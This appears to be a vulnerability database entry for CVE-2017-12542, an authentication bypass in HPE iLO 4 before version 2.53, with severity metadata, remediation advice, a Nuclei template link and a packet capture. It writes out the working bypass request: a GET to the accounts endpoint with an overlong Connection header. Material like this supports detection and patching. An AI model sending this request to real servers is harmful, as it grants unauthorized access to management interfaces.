| Title | HPE Integrated Lights-out 4 (ILO4) <2.53 - Authentication Bypass |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected system. |
| Remediation | Upgrade HPE Integrated Lights-out 4 (ILO4) to version 2.53 or later to mitigate this vulnerability. |
| CVSS Score | 10 |
| EPSS Score | 0.94254 |
| CVE ID | CVE-2017-12542 |
| Tags | cve cve2017 ilo4 hpe auth-bypass edb hp vkev vuln |
HPE Integrated Lights-out 4 (iLO 4) prior to 2.53 was found to contain an authentication bypass and code execution vulnerability.
GET /rest/v1/AccountService/Accounts HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Accept: */*
Accept-Language: en
Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept-Encoding: gzip
Connection: close
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12542.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-12542.pcap
N/AN/A